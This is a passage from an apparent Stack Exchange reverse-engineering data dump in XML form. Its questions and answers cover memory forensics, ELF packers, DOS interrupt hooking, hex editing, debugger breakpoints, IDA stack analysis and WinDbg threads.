&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\DisablePagingExecutive&lt;/code&gt; from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;, but the behaviour stays the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Problem is that even if the dllBase is not paged, sometimes reading the import or delay import directories with PEfile fails although the module / dll has the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is most appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="3365" LastEditDate="2013-12-13T16:59:11.183" LastActivityDate="2013-12-13T17:39:47.217" Title="Memory forensics: disabled pagefile but still not everything in memory" Tags="|windows|memory|digital-forensics|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3181" PostTypeId="2" ParentId="3180" CreationDate="2013-12-13T17:39:47.217" Score="2" Body="&lt;p&gt;The paging file is generally for dirty pages, not for clean ones.  The clean ones can be read from the original file directly, so there's no need to store them in the page file (and if they haven't ever been read yet then they won't be in memory at all).&#xA;Further, delay-load DLLs won't be in memory if they've never been referenced, so anything related to them won't be available to you.  So just because you disable paging does not mean that everything will be entirely in memory, if physical memory constraints exist.  You could try increasing the size of the physical memory, and perhaps let the process run for longer.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-12-13T17:39:47.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3182" PostTypeId="2" ParentId="3175" CreationDate="2013-12-13T19:40:50.040" Score="1" Body="&lt;p&gt;If you have the symbol file for the DLL, or if the file was built with debugging information then you can recover the original names for the non-exported functions.  If not, then probably not.  Since the non-exported functions are not exported, there isn't a need for the original function names to be retained.  The code in the DLL knows how to call those functions by address, so it doesn't need any more information than that.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-12-13T19:40:50.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3183" PostTypeId="2" ParentId="3178" CreationDate="2013-12-13T19:54:33.963" Score="8" Body="&lt;p&gt;It is effectively true that there is no additional impact.  Non-invasive debugging is simply suspending the process, and then reading the register context and memory.  Since there are no alterations to the memory, there isn't any physical thing to detect.  The timing discrepancies that it introduces are detectable, but the same effects can be produced by a system under heavy load, so the detection is unreliable for that reason (though the author of the detection routine might not care).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the very presence of an active debugger anywhere on the system is detectable, independently of the method used to debug.  The non-invasive debugging technique simply defeats some of the more common methods.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-12-13T19:54:33.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3184" PostTypeId="1" CreationDate="2013-12-14T05:14:52.380" Score="6" ViewCount="11693" Body="&lt;p&gt;I was wondering if anyone had come across a packer/protector which could be used for ELF binaries. There seem to be quite a few articles on writing packers and protectors for the PE format -- however, there don't seem to be very many for Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just a hobby and so far I've come across&lt;a href=&quot;http://asm.sourceforge.net/articles/smc.html&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt; which is seems to be a very basic(but neat) &lt;a href=&quot;http://asm.sourceforge.net/articles/smc.html&quot; rel=&quot;nofollow&quot;&gt;introduction to SMC&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any resources/source code that you could point me to that I could refer and learn from?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="1485" LastEditDate="2013-12-14T22:16:11.247" LastActivityDate="2019-08-11T05:47:20.687" Title="Packers/Protectors for Linux" Tags="|linux|elf|packers|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3185" PostTypeId="1" AcceptedAnswerId="3199" CreationDate="2013-12-14T07:58:21.203" Score="3" ViewCount="1061" Body="&lt;p&gt;I'm currently reading &lt;a href=&quot;http://vxheaven.org/vx.php?fid=17&quot; rel=&quot;nofollow&quot;&gt;40hex magazine&lt;/a&gt; regarding virus writing in the early 90's. They talk a lot there about &lt;code&gt;interrupt intercepting&lt;/code&gt; Which is something security guys from anti viruses company will try to do, and should be prevented (from virus writing point of view)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is exactly &lt;code&gt;interrupt intercepting ?&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="53" LastEditDate="2013-12-14T09:27:54.773" LastActivityDate="2013-12-16T12:27:40.527" Title="Interrupt interception" Tags="|dos|malware|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3186" PostTypeId="2" ParentId="3185" CreationDate="2013-12-14T10:17:18.543" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is exactly interrupt intercepting ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Install your own interrupt vector. When somebody triggers it, you do whatever you want, and then forward the original call to the original interrupt handler.&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-12-14T10:17:18.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3187" PostTypeId="2" ParentId="3178" CreationDate="2013-12-14T11:16:55.977" Score="1" Body="&lt;p&gt;Exception handling can also make a difference. I'm currently looking at some code which triggers exceptions causing program termination if run outside the debugger under the right circumstances. When the same happens inside the debugger, the exception handling is intercepted and the program behaves differently (it doesn't crash anymore but it also doesn't behave as if run outside the debugger).&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-12-14T11:16:55.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3188" PostTypeId="2" ParentId="3185" CreationDate="2013-12-14T13:15:16.490" Score="-3" Body="&lt;p&gt;If you wish to see an interrupt intercepting download kgb.zip. This was authored by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Petr Horak&#xA;Technical University of Prague&#xA;Faculty of Nuclear Science and Physical Engineering&#xA;Prague Czechoslovakia&#xA;BITNET: HORAC@CSEARN&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It intercepts only a FEW interrupts. BUT, a very important but, IT COMES WITH SOURCE CODE OF HOW TO INTERCEPT THE INTERRUPTS!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should you decide to work on 'older' programs, this is a tool worthwhile studying. And working on. And expanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- somewhere in time ---&lt;/p&gt;&#xA;" OwnerUserId="2855" LastActivityDate="2013-12-14T13:15:16.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3189" PostTypeId="2" ParentId="3184" CreationDate="2013-12-14T15:05:28.310" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://upx.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;UPX&lt;/a&gt; is an &lt;a href=&quot;http://sourceforge.net/projects/upx/&quot; rel=&quot;nofollow&quot;&gt;open-source&lt;/a&gt; packer that works on ELF binaries.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-14T15:05:28.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3190" PostTypeId="2" ParentId="3184" CreationDate="2013-12-14T19:12:32.500" Score="8" Body="&lt;p&gt;Apart from the classix &lt;a href=&quot;http://upx.sourceforge.net/&quot;&gt;UPX&lt;/a&gt;, you should take a look at &lt;a href=&quot;http://woodmann.com/collaborative/tools/index.php/Burneye&quot;&gt;Burneye&lt;/a&gt; (With its crackers, &lt;a href=&quot;http://www.securiteam.com/tools/6T00N0K5SY.html&quot;&gt;UNFburninhell&lt;/a&gt; and &lt;a href=&quot;http://www.securiteam.com/tools/5BP0H0U7PQ.html&quot;&gt;Burndump&lt;/a&gt;) and elfuck. They are pretty old, but still interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested about tricks that can be used, &lt;a href=&quot;http://www.hackintherandom2600nldatabox.nl/archive/slides/2012/antidebugging.tgz&quot;&gt;this&lt;/a&gt; is a good introduction by aczid, and I would also recommend &lt;a href=&quot;http://indra.linuxstudy.pe.kr/study/Binary%20Protection%20Schemes.pdf&quot;&gt;Binary protection schemes&lt;/a&gt; for a more complete overview. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone also presented a CanSecWest a packer named &lt;a href=&quot;http://cansecwest.com/core03/shiva.ppt&quot;&gt;Shiva&lt;/a&gt; that was broken at &lt;a href=&quot;https://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf&quot;&gt;Blackhat&lt;/a&gt;. Unfortunately, there is no sources available.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-12-14T19:12:32.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3191" PostTypeId="1" CreationDate="2013-12-14T22:06:33.873" Score="5" ViewCount="6090" Body="&lt;p&gt;Say I open a 1x1 BMP file with a hex editor. Will the values therein link directly to the specification used to encode the image, and what the decoding image program will also see?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a dig in to Sonic The Hedgehog's bin file, can I really change every single entire encoded instruction using Motorola 68000's binary opcode map specification (assuming the assembler used will place the exact binary opcodes for the correct instructions taken by a Motorola 68000), and alter data values, change instruction positions, etc.? Basically, at the byte-level, I am exposed to the entire mass of a file structure, and have the control to change it at any rate I want. Basically, you can think of this question as this, to be blunt: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Is there anything that CAN'T be accessed from a hex editor in a file, or something hidden?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct?&lt;/p&gt;&#xA;" OwnerUserId="3373" LastEditorUserId="3373" LastEditDate="2013-12-14T22:23:45.460" LastActivityDate="2016-06-29T15:16:28.437" Title="With a hex editor, can you really examine/modify every piece of code/data encoding in a &quot;file&quot;?" Tags="|file-format|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3192" PostTypeId="2" ParentId="3191" CreationDate="2013-12-15T00:39:14.267" Score="4" Body="&lt;p&gt;You can edit anything you want with a hex editor. There are ways to &quot;hide&quot; entire files but as soon as you can make them visible and open with a hex editor, then there are no ways to make &lt;em&gt;parts&lt;/em&gt; of a file invisible. (1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However ... You need to work within the &lt;em&gt;frame&lt;/em&gt; of what you are changing. Suppose you edit a simple BMP image, and you &quot;change&quot; its size from 1x1 to 2x2. Will that &quot;work&quot;? No -- you are changing an important property (the image size) but not the actual &lt;em&gt;image&lt;/em&gt;, and no program can read your modified BMP image anymore, since it &lt;em&gt;expects&lt;/em&gt; a 2x2 image now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you only change the color of the one &lt;em&gt;pixel&lt;/em&gt; inside the image, then there is no problem. BMP files do not contain a checksum, and so your altered file will be read correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same goes for your &quot;Sonic&quot; example. Yes, you &lt;em&gt;can&lt;/em&gt; modify single instructions -- but (within the constraints of the entire executable) you cannot 'insert' or 'delete' them. And before you can change a single instruction, you need to be absolutely sure it &lt;em&gt;is&lt;/em&gt; a single instruction, and not part of a previous multi-byte one. This might be hard to see if you are looking at a raw hex dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third problem may be that the file is encrypted or otherwise protected against tampering (e.g., with aforementioned checksum). If that is the case, you can look all you want, but you cannot find anything useful to change; or, changing the data may make the program stop running (i.e., if it detects the original has been modified).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Back in the days of floppy disks and CD-ROMs there were ways to invalidate disk sectors. That way, a 'file' could not be copied to another medium or opened with regular disk editors. Of course, the reading application &quot;knew&quot; which sectors were damaged and did not try to access them.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2013-12-15T00:39:14.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3193" PostTypeId="2" ParentId="3191" CreationDate="2013-12-15T00:39:26.313" Score="6" Body="&lt;p&gt;You can open any files in a hex editor. The way to think about this is that programs that read files are developed specifically to interpret the bytes in a certain way. The header in a file might contain specific data that only a specific program can understand and use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some files that are encrypted, and a program with a certain algorithm can decrypt it. Like a game ROM, an emulator is just a program that knows how to interpret its bytes and render the information in the form of a game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to manually modify the bytes in a file, you can corrupt the intended information needed by the program. However, nothing can stop you from manually creating your mp3, game, document from using only a hex editor. It would only be painfully hard.&lt;/p&gt;&#xA;" OwnerUserId="1706" LastActivityDate="2013-12-15T00:39:26.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3194" PostTypeId="2" ParentId="2763" CreationDate="2013-12-15T13:21:47.807" Score="4" Body="&lt;p&gt;I'd suggest you use OllyDBG version 1.10 (non-plugin) or Other edition like odbgSND.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Conditional BP with below grammar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UNICODE [EAX]==&quot;HamiD a.k.a AHA&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OllyDbg treats &lt;code&gt;EAX&lt;/code&gt; as a pointer to UNICODE string, converts it to ASCII and compares with text constant. If you want the Unicode value of the register must be written as the following conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX == 75007500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This condition is triggered if the value of &lt;code&gt;EAX&lt;/code&gt; equal &lt;code&gt;uu&lt;/code&gt; Unicode.&lt;/p&gt;&#xA;" OwnerUserId="3377" LastActivityDate="2013-12-15T13:21:47.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3195" PostTypeId="1" AcceptedAnswerId="3198" CreationDate="2013-12-15T17:16:41.573" Score="3" ViewCount="2714" Body="&lt;p&gt;I wrote a little program which just shows a dialog. Basically an ASM Hello World. When the dialog is displayed and I break in WinDBG, I can see three threads even though the application doesn't use any threads at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not aware that there is something like default threads applied to a process, or is this because of WinDBG?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Process/Thread window shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 000:13d4:MyApp.exe&#xA;    000:d14&#xA;    001:11bc&#xA;    002:50c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I put a memory access breakpoint and the process would have multiple threads, do I have to specify in which thread this should be triggered. I think this shouldn't matter right? So if an address is accessed by any thread, the breakpoint should trigger regardless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;udate&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I took now a closer look (the handle numbers have changed, but the IDs are relevant anyway). I'm Running Windows 7-32bit-x86 if that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;000:&lt;/code&gt; refers to my original process, but this was already known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;001:&lt;/code&gt; Stacktrace when I break looks like this (some thread snychronization required by WinDBG?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ntdll!KiFastSystemCallRet&#xA;kernel32!WaitForMultipleObjectsEx+0x8e&#xA;kernel32!WaitForMultipleObjects+0x18&#xA;msiltcfg!RestartMsi+0x32e&#xA;kernel32!BaseThreadInitThunk+0x12&#xA;ntdll!RtlInitializeExceptionChain+0xef&#xA;ntdll!RtlInitializeExceptionChain+0xc2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that this thread belongs to some &lt;code&gt;msiltcfg.dll&lt;/code&gt; which would be a Windows 7 DLL, but why does it cread threads in my process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;002:&lt;/code&gt; So this would probably be the WinDBG thread which Akira32 refers to in his answer, right? (why does WinDBG need a thread of his own?).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ntdll!DbgBreakPoint&#xA;kernel32!BaseThreadInitThunk+0x12&#xA;ntdll!RtlInitializeExceptionChain+0xef&#xA;ntdll!RtlInitializeExceptionChain+0xc2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="2130" LastEditDate="2013-12-16T08:47:53.610" LastActivityDate="2013-12-18T16:52:32.230" Title="Three threads in Windows" Tags="|windbg|thread|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3196" PostTypeId="2" ParentId="3191" CreationDate="2013-12-15T17:39:15.903" Score="2" Body="&lt;p&gt;In general you can access any byte written on disk or in a file however there can be places you don't see if you don't look for them.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There are for example resource forks (Apple, HFS) or alternate streams (Windows, NTFS) that are not displayed by most hex editors when you open a file that has such extra information. See also &lt;a href=&quot;http://en.wikipedia.org/wiki/Fork_%28file_system%29&quot; rel=&quot;nofollow&quot;&gt;Wikipedia - Forks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Some information can be hidden on areas of a file system that are outside file boundaries. This can work because most file systems store files in blocks and the last block of the file can have some extra bytes not accessible to a hex editor. For this case a disk editor helps.&lt;/li&gt;&#xA;&lt;li&gt;There's the whole world of &lt;a href=&quot;http://en.wikipedia.org/wiki/Steganography&quot; rel=&quot;nofollow&quot;&gt;steganography&lt;/a&gt; - extra information can be encoded in such a way into other data like images that you don't see a difference (visually). Of course you can change any byte in such a file but don't notice the &quot;hidden information layer&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3381" LastActivityDate="2013-12-15T17:39:15.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3197" PostTypeId="1" CreationDate="2013-12-15T18:49:22.993" Score="3" ViewCount="4199" Body="&lt;p&gt;The code that I'm looking at uses exception handlers and it seems that the stack pointer is misscalculated in the case of the exception handler. I posted this function as an exmple in full, so that the problem can be seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm interested in is, how I can get rid of the sp-analysis failing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000                 push    ebp&#xA;004                 mov     ebp, esp&#xA;004                 push    0&#xA;008                 push    ebx&#xA;00C                 push    esi&#xA;010                 mov     ebx, eax&#xA;010                 xor     eax, eax&#xA;010                 push    ebp&#xA;014                 push    offset j_ExceptionHandler1_2&#xA;018                 push    dword ptr fs:[eax]&#xA;01C                 mov     fs:[eax], esp&#xA;01C                 push    1               ; uIDEvent&#xA;020                 mov     eax, [ebx+28h]&#xA;020                 push    eax             ; hWnd&#xA;024                 call    j_KillTimer&#xA;01C                 mov     esi, [ebx+24h]&#xA;01C                 test    esi, esi&#xA;01C                 jz      short loc_4467F1&#xA;01C                 cmp     byte ptr [ebx+34h], 0&#xA;01C                 jz      short loc_4467F1&#xA;01C                 cmp     word ptr [ebx+2Eh], 0&#xA;01C                 jz      short loc_4467F1&#xA;01C                 push    0               ; lpTimerFunc&#xA;020                 push    esi             ; uElapse&#xA;024                 push    1               ; nIDEvent&#xA;028                 mov     eax, [ebx+28h]&#xA;028                 push    eax             ; hWnd&#xA;02C                 call    j_SetTimer&#xA;01C                 test    eax, eax&#xA;01C                 jnz     short loc_4467F1&#xA;01C                 lea     edx, [ebp+Str]&#xA;01C                 mov     eax, ds:off_5C6E3C&#xA;01C                 call    LoadString      ; EAX = StringResource&#xA;                                            ; EDX = Target&#xA;                                            ;&#xA;01C                 mov     ecx, [ebp+Str]&#xA;01C                 mov     dl, 1&#xA;01C                 mov     eax, off_40CA00&#xA;01C                 call    sub_409F34&#xA;01C                 call    GlobalExceptionE&#xA;&#xA;    loc_4467F1:                             ; CODE XREF: sub_446788+27j&#xA;                                            ; sub_446788+2Dj&#xA;                                            ; sub_446788+34j&#xA;                                            ; sub_446788+46j&#xA;00C                 xor     eax, eax&#xA;00C                 pop     edx&#xA;008                 pop     ecx&#xA;004                 pop     ecx&#xA;000                 mov     fs:[eax], edx&#xA;000                 push    offset loc_44680E&#xA;&#xA;    loc_4467FE:                             ; CODE XREF: CODE:0044680Cj&#xA;004                 lea     eax, [ebp+Str]  ; RDStr&#xA;004                 call    ReleaseDelphiString ; EAX = Pointer to a stringpointer&#xA;                                            ;&#xA;                                            ; Refcount is decreased and the pointer is set to NULL.&#xA;004                 retn&#xA;    sub_446788      endp ; sp-analysis failed&#xA;&#xA;    ; [00000005 BYTES: COLLAPSED FUNCTION j_ExceptionHandler1_2. PRESS KEYPAD &quot;+&quot; TO EXPAND]&#xA;    ; ---------------------------------------------------------------------------&#xA;                    jmp     short loc_4467FE&#xA;    ; ---------------------------------------------------------------------------&#xA;    ; START OF FUNCTION CHUNK FOR sub_446788&#xA;&#xA;    loc_44680E:                             ; CODE XREF: sub_446788+7Ej&#xA;                                            ; DATA XREF: sub_446788+71o&#xA;004                 pop     esi&#xA;000                 pop     ebx&#xA;-04                 pop     ecx&#xA;-08                 pop     ebp&#xA;-0C                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The the &lt;code&gt;GlobalExceptionE&lt;/code&gt; function is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000                 pop     edx&#xA;-04                 push    esp&#xA;000                 push    ebp&#xA;004                 push    edi&#xA;008                 push    esi&#xA;00C                 push    ebx&#xA;010                 push    eax&#xA;014                 push    edx&#xA;018                 push    esp             ; lpArguments&#xA;01C                 push    7               ; nNumberOfArguments&#xA;020                 push    1               ; dwExceptionFlags&#xA;024                 push    0EEDFADEh       ; dwExceptionCode&#xA;028                 push    edx&#xA;02C                 jmp     j_RaiseException&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="2130" LastEditDate="2013-12-17T19:05:22.247" LastActivityDate="2016-09-23T19:41:08.187" Title="Fixing the stackpointer in IDA when exception handlers are used" Tags="|ida|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3198" PostTypeId="2" ParentId="3195" CreationDate="2013-12-16T00:17:03.620" Score="3" Body="&lt;p&gt;By your description:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, your program should have only one thread running, without debuger. You can check this on task manager.&#xA;However when you attach to windbg it will create a thread on break. &#xA;The third thread that you mention, i really dont have a clue. Maybe a injected dll running code... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can try to find out by opening the windows &quot;call stack&quot; on winbgd. (and selecting each thread, on thread window)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You will see you code's thread, with last function call on top.&lt;/li&gt;&#xA;&lt;li&gt;Windbg thread , probably with the function ntdll!DbgBreakPoint on top.    &lt;/li&gt;&#xA;&lt;li&gt;The third one, see where it stops and what dll the code    belongs on dissambly window.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You are right. You just need to set a breakpoint any thread will trigger on acess :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets us know what you find out :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I have helped!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;002:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The windbg creates that thread every time you pause the attached process execution. It makes sense because the windbg needs a breakpoint to stop the execution, since he dont know where to patch a normal breakpoint on the code, to break immediately. He creates a thread to call dbgbreakpoint and break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you continue the execution, the windbg's thread will terminate. This is a normal behavior of the debuggers, not only windbg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;001:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The msiltcfg.dll has functions to handle MSI installers. &quot;Windows Installer Configuration API Stub&quot;&#xA;Its strange,for me, that the process has this dll loaded. By the stack call you show, its waiting for something. A thread, mutex event, etc... This thread has nothing to do with windbg. Something has loaded that dll on your process and created the thread. Almost for sure it is a operating system process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you can do is check if other processes (calc.exe or notpad.exe, simple ones) got the same thread or the same dll loaded. Some programs/OS can load dll's on abritary processes or even all and run code (using the WIN32 API function CreateRemoteThread). This is a normal behavior done by malware too :). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you have for sure is that your program has only created one thread. And in a normal situation it should not have more than one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested a program like your to be sure, and just got a thread.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastEditorUserId="1643" LastEditDate="2013-12-16T13:15:56.873" LastActivityDate="2013-12-16T13:15:56.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3199" PostTypeId="2" ParentId="3185" CreationDate="2013-12-16T02:28:02.250" Score="5" Body="&lt;p&gt;By intercepting or hooking interrupts in DOS you can make the system behave differently whenever an interrupt is triggered. And there are many interrupts used in x86 architecture, some are triggered by hardware (such as clock, keyboard, divide overflow/divide by zero), some are BIOS services that can be called from software and some are OS services or other services that can also be called from software. All interrupts are equally easy to hook. All you need is &lt;code&gt;cli&lt;/code&gt;, replace the interrupt vector with your own one, &lt;code&gt;sti&lt;/code&gt;, or use some BIOS or DOS service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By hooking an interrupt you can first do your thing in your own interrupt handler and then forward the original parameters to the original interrupt handler, but you can also replace entire interrupts or specific services of chosen interrupts (without forwarding). TSRs (terminate &amp;amp; stay resident) programs are all based on hooking interrupts (with or without interrupt forwarding). For example many DOS debuggers are TSRs, and probably many viruses too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example it's possible to write an interrupt handler for interrupt 0x13 that disables all hard drive formatting functions of BIOS interrupt 0x13, by first checking the parameters for &lt;code&gt;int 0x13&lt;/code&gt;, and if the function (in &lt;code&gt;ah&lt;/code&gt;) is 5, 6, 7, 0x1a ... then set the desired return values in registers and flags as you like , then &lt;code&gt;iret&lt;/code&gt;, otherwise &lt;code&gt;jmp&lt;/code&gt; to the original interrupt handler. You can write a TSR debugger that hooks the chosen interrupts and presents the debugger screen whenever a chosen interrupt is triggered. You can adjust the system timer interrupt frequency and then hook the timer interrupt to use it to play music eg. with AdLib or SoundBlaster. You can write a TSR keylogger, a TSR virus scanner or a TSR hard drive defragmenter. You can make the computer play &quot;Jingle Bells&quot; through PC speaker or sound card whenever the user presses Enter and it's December. The possibilities are limited only by the hardware available and the skill of the programmer.&lt;/p&gt;&#xA;" OwnerUserId="1648" LastEditorUserId="1648" LastEditDate="2013-12-16T12:27:40.527" LastActivityDate="2013-12-16T12:27:40.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3200" PostTypeId="1" CreationDate="2013-12-16T04:03:12.443" Score="10" ViewCount="18174" Body="&lt;p&gt;I am looking for an reverse engineering tool or a way to decompile the existing android native code to an human understandable format rather than Assembly language. Can anyone please suggest me as i need to unblock one of my priority task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="3385" LastActivityDate="2014-07-15T09:45:00.820" Title="Reverse engineer Android native code" Tags="|disassembly|decompilation|assembly|debuggers|android|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3201" PostTypeId="2" ParentId="3200" CreationDate="2013-12-16T05:30:19.897" Score="6" Body="&lt;p&gt;ida pro + hexrays for arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDAPro is best disassembler tool for many processors and file types.&#xA;HexRays ARM - plugin for IDAPro (doesn't work separately), which trying to decompile assembler to C-like source code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both not free&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/index.shtml&quot;&gt;https://www.hex-rays.com/index.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="3364" LastEditDate="2013-12-16T10:49:39.090" LastActivityDate="2013-12-16T10:49:39.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3202" PostTypeId="1" CreationDate="2013-12-16T14:36:45.320" Score="4" ViewCount="329" Body="&lt;p&gt;The memorydumps I work with are from a Windows XP SP2 run inside a VirtualBox VM. I aquire the memorydumps with vboxmanage debugvm dumpguestcore --filename dump.vmem. The windows paging is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to identify executable vads that were created after a process was created by for example LoadLibrary() calls. As these vads should not correspond to any dll imported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefor I recursively walk the processes / modules import directories (DIRECTORY_ENTRY_IMPORT and DIRECTORY_ENTRY_DELAY_IMPORT). Whenever I find a new dll, I mark the corresponding vad as imported and start scanning from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the volatility plugin ProcExeDump to dump the module and peFile to read the import directories from the dumped module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a recusive walk looks like 